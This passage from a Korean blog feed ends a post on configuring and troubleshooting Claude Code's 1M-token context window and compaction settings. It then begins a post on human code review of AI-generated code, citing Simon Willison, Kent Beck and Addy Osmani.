&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;모델 제한:&lt;/b&gt; 표준 요금 1M 컨텍스트는 Opus 4.6과 Sonnet 4.6만 해당. 구 모델(Sonnet 4, 4.5)은 여전히 beta 방식&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;응답 속도:&lt;/b&gt; 컨텍스트가 클수록 첫 응답 토큰까지의 지연(TTFT)이 증가할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;미디어 제한:&lt;/b&gt; 1M 컨텍스트 사용 시 요청당 최대 600개의 이미지 또는 PDF 페이지를 포함할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Compaction 주의:&lt;/b&gt; 950K 이상에서 발생하는 Compaction은 더 많은 정보 손실을 초래할 수 있으므로, 미리 적절한 임계값을 설정하는 것이 좋다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;출력 토큰과의 관계:&lt;/b&gt; &lt;code&gt;CLAUDE_CODE_MAX_OUTPUT_TOKENS&lt;/code&gt;를 높이면 Compaction이 더 빨리 발생한다 (입력 공간이 줄어들기 때문)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Compaction Loop 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;200K 컨텍스트 예산을 초과한 후 긴 세션에서 잘못된 Compaction Loop가 발생한다는 커뮤니티 보고가 있었다. 임계값을 극단적으로 조정하는 경우 테스트 환경에서 먼저 검증하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 트러블슈팅 Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;!-- Q1 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. 1M 컨텍스트가 활성화되어 있는지 어떻게 확인하나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1:&lt;/b&gt; 세션 내에서 &lt;code&gt;/model&lt;/code&gt; 명령어를 실행하면 현재 사용 중인 모델과 컨텍스트 윈도우 크기를 확인할 수 있다. &lt;code&gt;[1m]&lt;/code&gt; 모델이 표시되면 1M 컨텍스트가 활성화된 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2:&lt;/b&gt; 상태 표시줄에서 컨텍스트 사용량을 확인한다. 200K 이상을 사용해도 Compaction이 발생하지 않으면 1M 모델이 활성화된 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 세션 내에서 현재 모델 확인
/model

# 환경변수 확인
cat ~/.claude/settings.json | jq '.env'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Q2 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Pro 플랜인데 1M 컨텍스트를 사용할 수 없습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Pro 플랜에서 Opus 4.6 1M 컨텍스트는 추가 사용량이 필요하다. Max, Team, Enterprise 플랜에서만 기본 포함이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Max 플랜으로 업그레이드 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;API를 직접 사용하는 경우 표준 요금으로 1M 컨텍스트 사용 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Pro에서 사용 가능한 범위 내에서 Sonnet 4.6 활용 검토&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- Q3 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. 200K도 안 됐는데 Compaction이 발생합니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 1:&lt;/b&gt; &lt;code&gt;CLAUDE_CODE_AUTO_COMPACT_WINDOW&lt;/code&gt;가 낮게 설정되어 있을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 2:&lt;/b&gt; &lt;code&gt;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&lt;/code&gt;가 매우 낮게 설정되어 있을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 3:&lt;/b&gt; 상태 표시줄의 &lt;code&gt;%&lt;/code&gt;는 모델의 전체 윈도우 대비 비율이다. &lt;code&gt;CLAUDE_CODE_AUTO_COMPACT_WINDOW&lt;/code&gt;를 낮게 설정한 경우, 표시줄이 낮은 %를 보여줘도 Compaction이 발생할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 현재 compaction 관련 설정 확인
cat ~/.claude/settings.json | jq '.env | {
  CLAUDE_AUTOCOMPACT_PCT_OVERRIDE,
  CLAUDE_CODE_AUTO_COMPACT_WINDOW
}'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Q4 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. 기업 환경에서 1M 컨텍스트를 제한하고 싶습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: 완전 비활성화&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 관리형 설정을 통해 모든 사용자에게 1M 비활성화
# managed settings.json
{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_DISABLE_1M_CONTEXT&quot;: &quot;1&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: 특정 임계값으로 제한&lt;/b&gt; (1M 모델은 유지하되 조기 Compaction)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_AUTO_COMPACT_WINDOW&quot;: &quot;200000&quot;,
    &quot;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&quot;: &quot;90&quot;
  }
}
# 효과: 180K 토큰에서 Compaction 발생 (실질적 200K 제한)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 &lt;code&gt;CLAUDE_CODE_DISABLE_1M_CONTEXT&lt;/code&gt;가 &quot;기업 컴플라이언스 요구사항에 유용하다&quot;고 공식 문서에 명시하고 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q5 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. Sonnet 4.5에서 1M 컨텍스트를 표준 요금으로 사용할 수 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니다.&lt;/b&gt; 표준 요금 1M 컨텍스트는 &lt;b&gt;Opus 4.6과 Sonnet 4.6&lt;/b&gt;에만 해당한다. Sonnet 4와 Sonnet 4.5는 여전히 구 beta 방식을 사용하며, &lt;code&gt;context-1m-2025-08-07&lt;/code&gt; beta header가 필요하고 200K 초과 시 프리미엄 요금이 부과된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q6 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. 1M 컨텍스트를 사용하면 응답이 느려지나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;대용량 컨텍스트를 처리할 때 &lt;b&gt;첫 응답 토큰까지의 지연(TTFT, Time To First Token)&lt;/b&gt;이 증가할 수 있다. 이는 모델이 더 많은 텍스트를 처리해야 하기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제 응답 속도는 컨텍스트 크기, 서버 부하, 요청의 복잡도에 따라 달라진다. 컨텍스트가 크더라도 이전에 캐시된 부분은 빠르게 처리된다 (Anthropic의 Prompt Caching 활용).&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;설정 변경 시 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;settings.json 수정 전에 반드시 &lt;b&gt;백업&lt;/b&gt;을 생성한다 (&lt;code&gt;cp ~/.claude/settings.json ~/.claude/settings.json.backup&lt;/code&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;환경변수 변경 후에는 Claude Code를 &lt;b&gt;재시작&lt;/b&gt;해야 적용된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;극단적인 임계값 설정은 &lt;b&gt;테스트 환경에서 먼저&lt;/b&gt; 검증한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 1M 컨텍스트 정식 지원은 단순한 숫자의 증가가 아니다. 이는 개발자가 AI와 협업하는 방식을 근본적으로 바꾸는 변화다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에는 &quot;컨텍스트가 금방 찰 것 같으니 파일 몇 개만 보여줄게&quot;라고 신중하게 제약을 걸었다면, 이제는 &lt;b&gt;&quot;레포 전체를 보면서 파악해줘&quot;&lt;/b&gt;라고 자연스럽게 요청할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;자동 활성화:&lt;/b&gt; Max, Team, Enterprise 사용자는 별도 설정 없이 Opus 4.6 1M 컨텍스트 자동 적용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;추가 요금 없음:&lt;/b&gt; 900K 토큰 요청도 9K 요청과 동일한 토큰당 단가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Rate Limit 동일:&lt;/b&gt; 대용량 컨텍스트 사용 시 처리량 불이익 없음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기존 코드 그대로:&lt;/b&gt; beta header 없이도 자동으로 1M 컨텍스트 동작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Opt-out 가능:&lt;/b&gt; CLAUDE_CODE_DISABLE_1M_CONTEXT=1로 비활성화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;최적 활용:&lt;/b&gt; 700~800K 수준에서 사용하면 안전 마진과 성능 균형&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Opus 4.6의 78.3% MRCR v2 벤치마크 성능이 보여주듯, 1M 컨텍스트는 단순히 더 많이 넣는 것이 아니라 &lt;b&gt;더 깊이 이해하는 것&lt;/b&gt;을 가능하게 한다. 대규모 코드베이스를 다루는 개발자라면 지금 바로 활용해 보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Max, Team, Enterprise 플랜이라면 Claude Code v2.1.75 이상을 설치하면 바로 1M 컨텍스트가 활성화된다. &lt;code&gt;/model&lt;/code&gt;로 현재 모델을 확인하고, 상태 표시줄에서 컨텍스트 사용량을 모니터링하면서 활용해 보자.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://code.claude.com/docs/en/env-vars&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;환경변수 레퍼런스&lt;/a&gt; | &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://code.claude.com/docs/en/model-config&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;모델 설정&lt;/a&gt; | &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://platform.claude.com/docs/en/release-notes/overview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;릴리스 노트&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>1M Context</category>
      <category>1M 토큰</category>
      <category>Anthropic</category>
      <category>claude ai</category>
      <category>claude code</category>
      <category>Claude Code 설정</category>
      <category>opus 4.6</category>
      <category>sonnet 4.6</category>
      <category>컨텍스트 윈도우</category>
      <category>프롬프트 캐싱</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/547</guid>
      <comments>https://goddaehee.tistory.com/547#entry547comment</comments>
      <pubDate>Mon, 16 Mar 2026 19:30:13 +0900</pubDate>
    </item>
    <item>
      <title>AI가 코드를 짜는 시대, 코드 리뷰는 어떻게 바뀌어야 하나? - Simon Willison이 말하는 AI 시대 개발자의 책임</title>
      <link>https://goddaehee.tistory.com/546</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;당신 팀의 PR 리뷰 속도가 코드 생산 속도를 따라가고 있는가? 솔직히 말하면, 이미 따라가지 못하고 있을 가능성이 높다. Claude Code 같은 AI 코딩 도구 덕분에 개발자 1인당 코드 생산량이 200% 증가했지만(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;), 리뷰어의 인지 용량은 그대로다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 문제를 풀기 위해 Anthropic은 Claude Code Review라는 자동화 도구를 만들었다. 하지만 도구가 생겼다고 해서 더 근본적인 질문이 사라지진 않는다. &lt;b&gt;AI가 코드의 다수를 생성하는 시대에, 인간 리뷰어는 무엇을 해야 하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2540&quot; data-origin-height=&quot;1426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d9Ha5p/dJMcafsjxRZ/f1j6yTcqEnVIF2mffu4KA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d9Ha5p/dJMcafsjxRZ/f1j6yTcqEnVIF2mffu4KA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d9Ha5p/dJMcafsjxRZ/f1j6yTcqEnVIF2mffu4KA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd9Ha5p%2FdJMcafsjxRZ%2Ff1j6yTcqEnVIF2mffu4KA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2540&quot; height=&quot;1426&quot; data-origin-width=&quot;2540&quot; data-origin-height=&quot;1426&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;문제: 생산성과 리뷰 역량의 불균형&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주장 1 &amp;mdash; 인간 리뷰는 여전히 필수다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주장 2 &amp;mdash; 전통적 코드 리뷰 모델은 이미 무너졌다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;해법 &amp;mdash; 리뷰의 대상을 바꿔라: Intent Review&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 적용: Intent Review 체크리스트 + 역할 분담&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: AI 네이티브 엔지니어의 새로운 책임&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 1. 문제 --&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;1. 문제: 생산성과 리뷰 역량의 불균형&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SmartBear의 코드 리뷰 연구(Cisco 시스템 2,500건 분석)에 따르면, &lt;b&gt;400줄을 넘어가면 결함 발견율(defect detection rate)이 급격히 떨어진다&lt;/b&gt;. 그런데 AI 코딩 도구를 쓰는 개발자는 한 번에 수백에서 수천 줄짜리 PR을 생성하는 일이 일상이 됐다. 리뷰해야 할 분량은 폭발적으로 늘었지만, 인간 리뷰어의 인지 용량에는 물리적 한계가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 불균형을 Shannon의 정보 이론으로 처음 설명한 사람은 &lt;b&gt;Dave Farley&lt;/b&gt;(Jez Humble과 함께 쓴 'Continuous Delivery' 공저자)다. Nyquist-Shannon 샘플링 정리를 코드 리뷰에 적용해 이렇게 설명한다. &quot;신호를 정확히 재현하려면, 신호의 최고 주파수보다 두 배 이상 빠르게 샘플링해야 한다.&quot; AI가 코드를 생성하는 속도가 인간이 리뷰할 수 있는 속도를 초과하면, 리뷰를 해도 신호 재현이 불가능해진다는 것이다. Bryan Finster는 이 아이디어를 자신의 에세이 &quot;AI Broke Your Code Review&quot;에서 소개하며 실전 코드 리뷰에 적용했다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bryanfinster.substack.com/p/ai-broke-your-code-review-heres-how&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;bryanfinster.substack.com&lt;/a&gt;) 쉽게 말하면, 리뷰는 하는 척만 하게 된다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제에 대해 업계는 두 가지 상반된 입장으로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 2. 정 --&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;2. 주장 1 &amp;mdash; 인간 리뷰는 여전히 필수다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 입장은 명확하다. AI가 코드를 쓰더라도, &lt;b&gt;그 코드에 대한 책임은 여전히 인간에게 있다&lt;/b&gt;는 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #3355cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Simon Willison&lt;/b&gt; (Django 공동 창시자, Datasette 창시자)&lt;br /&gt;&lt;i&gt;&quot;Your job is to deliver code you have proven to work.&quot;&lt;/i&gt;&lt;br /&gt;검증 없이 대규모 PR을 제출하는 것은 &quot;This is rude, a waste of other people's time, and is honestly a dereliction of duty as a software developer&quot;라고도 덧붙였다.&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;(출처: &lt;a style=&quot;color: #3355cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/18/code-proven-to-work/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;simonwillison.net, 2025-12-18&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 관점에서 코드 리뷰는 품질 게이트가 아니라 &lt;b&gt;책임 이전의 마지막 관문&lt;/b&gt;이다. AI가 얼마나 그럴듯한 코드를 만들어도, 그 코드가 시스템에서 어떻게 동작할지, 보안 취약점이 있는지, 비즈니스 규칙과 맞는지는 인간이 판단해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #3355cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Kent Beck&lt;/b&gt; (XP 창시자, TDD 선구자)&lt;br /&gt;&lt;i&gt;Kent Beck은 &quot;Thinking About Code Review&quot;에서 코드 리뷰의 목적을 5가지로 정의한다. 결함 감소(behavioral/structural errors)뿐 아니라 &lt;b&gt;팀 이해 향상(Improve team understanding)&lt;/b&gt;, 학습 가속, 팀 위험 감소가 포함된다. 리뷰는 버그 찾기 도구가 아니라 팀이 코드를 함께 소유하고 이해하는 수단이다.&lt;/i&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666;&quot;&gt;(참고: &lt;a style=&quot;color: #3355cc;&quot; href=&quot;https://tidyfirst.substack.com/p/thinking-about-code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;tidyfirst.substack.com &amp;mdash; Thinking About Code Review&lt;/a&gt; &amp;mdash; AI 미언급, 일반 코드 리뷰 방법론)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google Engineering 리더 Addy Osmani도 &quot;Code Review in the Age of AI&quot;에서 AI 생성 코드의 함정을 경고했다. AI가 코드를 더 빠르게 만들어줄수록, 그것이 실제로 올바른지 검증하고 유지보수 가능한지 판단하는 인간의 능력이 오히려 더 중요해진다는 것이다. (참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://addyo.substack.com/p/code-review-in-the-age-of-ai&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;addyo.substack.com &amp;mdash; Code Review in the Age of AI&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f5e9; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #2e7d32; margin: 20px 0;&quot;&gt;&lt;b&gt;이 주장의 핵심&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;코드의 최종 책임은 머지를 승인한 인간에게 있다&lt;/li&gt;
